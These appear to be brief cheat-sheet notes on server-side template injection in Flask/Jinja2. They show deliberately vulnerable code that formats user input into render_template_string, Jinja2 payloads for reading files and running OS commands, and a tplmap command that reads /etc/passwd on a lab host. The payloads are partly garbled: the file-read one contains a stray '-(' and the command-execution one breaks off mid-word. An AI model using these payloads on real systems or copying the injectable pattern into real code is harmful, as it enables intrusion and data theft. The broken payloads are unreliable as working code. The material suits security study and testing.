SSTI

A template engine allows developers to use static HTML pages with dynamic elements. Take for instance a static profile.html page, a template engine would allow a developer to set a username parameter, that would always be setÂ to the current user's username

Server Side Template Injection, is when a user is able to pass in a parameter that can control the template engine that is running on the server.

```
template = """

<!DOCTYPE html><html><body>\
    <form action="/" method="post">\
      First name:<br>\
      <input type="text" name="name" value="">\
      <input type="submit" value="Submit">\
    </form><h2>Hello %s! </h2></body></html>""" % user_input

return render_template_string(template)
```

This introduces a vulnerability, as it allows a hacker to inject template code into the website. The effects of this can be devastating, from XSS, all the way to RCE.

Manual ssti

lfi : `{{ ''.__class__.__mro__[2].__subclasses__()[40]()-(<file>).read()}}`

rce : `{{config.__class__.__init__.__globals__['os'].popen(<comma`

automatic ssti

```
./tplmap.py -u http://10.10.10.10:5000/ -d 'noot' --o-cmd "cat /etc/passwd"
```